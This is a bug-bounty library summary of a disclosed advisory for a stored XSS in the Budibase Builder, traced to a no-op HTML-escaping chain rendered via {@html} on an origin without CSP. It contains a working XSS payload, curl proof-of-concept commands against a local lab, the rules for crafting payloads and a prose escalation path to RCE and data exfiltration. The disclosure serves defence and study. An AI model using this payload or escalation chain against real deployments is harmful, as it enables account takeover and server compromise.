# Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin

Low-privileged Budibase app user stores HTML in a shared external table; builder opening a binding preview renders it via {@html} in the CSP-less Builder origin, executing JS.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: Viv3kGupt4
- Disclosed: 2026-11-20
- CVE: CVE-2026-122244
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r2q3-7m4h-63qg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r2q3-7m4h-63qg
- Tags: area:web domain:web impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:rest technique:source-review vuln:access-control vuln:xss

**Target:** Budibase Builder SPA binding evaluation panel (jsonFormatter.format via {@html})
**Root cause:** jsonFormatter.format()'s escape chain replaces &, <, > with themselves (no-op), and only quoted JSON string values pass through escapeHtml, so raw non-JSON strings and object keys are emitted verbatim; the result is injected with {@html} in EvaluationSidePanel.svelte. The ALL Handlebars helper returns SafeString so no upstream escaping occurs, and /builder/* is served by nginx without any CSP.
**Steps:**
1. Builder grants BASIC write on an external Postgres table and publishes the app.
2. Attacker (BASIC) logs in via `POST /api/global/auth/default/login` and stores payload: `POST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows` with `{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}`.
3. Confirm `/builder/` response has no `Content-Security-Policy` header.
4. Victim builder opens the table, adds a Formula column, opens the binding drawer, types `{{ name }}`, clicks evaluate.
5. Preview renders value through JsonFormatter.format() into {@html}; the `<img>` becomes live DOM and onerror fires in the Builder origin.
**How found:** Code review of jsonFormatter.ts spotted the `.replace(/&/g,"&")` chain as a no-op and that only quoted string values hit escapeHtml; traced the output to `{@html}` sinks in EvaluationSidePanel.svelte, noted the ALL helper returns SafeString, then verified live that /builder/ ships no CSP and that external datasource rows are shared between prod app and dev Builder preview.
**Exploitation:** Attacker needs only write access to a shared external datasource table exposed by a data-collection app (BASIC user or unauthenticated public form). Payload must avoid double-quotes, digits and true/false/null so the formatter's tokenizer doesn't fragment it. When a builder evaluates any binding surfacing that column, the script runs in the Builder session, which can create datasources/automations running server-side JS/Bash (RCE), read/modify all tables, and escalate accounts.
**Escalation:** From Builder-origin JS, drive authenticated Builder APIs to create automations with server-side JS/Bash for RCE, exfiltrate all tables, and promote the attacker account to builder/admin; pivot to CouchDB/MinIO/Redis via automation.
**Insight:** Grep for `.replace(/&/g, "&")`-style self-replacements in 'escaper' utilities — a no-op sanitizer chain is a strong XSS signal; also check whether the admin/builder SPA origin is served statically without the CSP middleware that only decorates server-rendered app documents.

## Proof of concept (copied exactly from the original report)

**Low-priv user stores XSS payload in shared table**

```
curl -s -i -b creds/low.cookies \
  -H "x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81" \
  -H "Content-Type: application/json" -X POST \
  "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" \
  -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}'
```

**Admin reads payload from dev plane**

```
curl -s -b creds/admin.cookies \
  -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" \
  "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows"
```

**Builder origin lacks CSP header**

```
curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/

**Burp - Response (note the complete absence of any `Content-Security-Policy` header)**

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:21:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT
Cache-Control: max-age=0
Content-Encoding: gzip
```

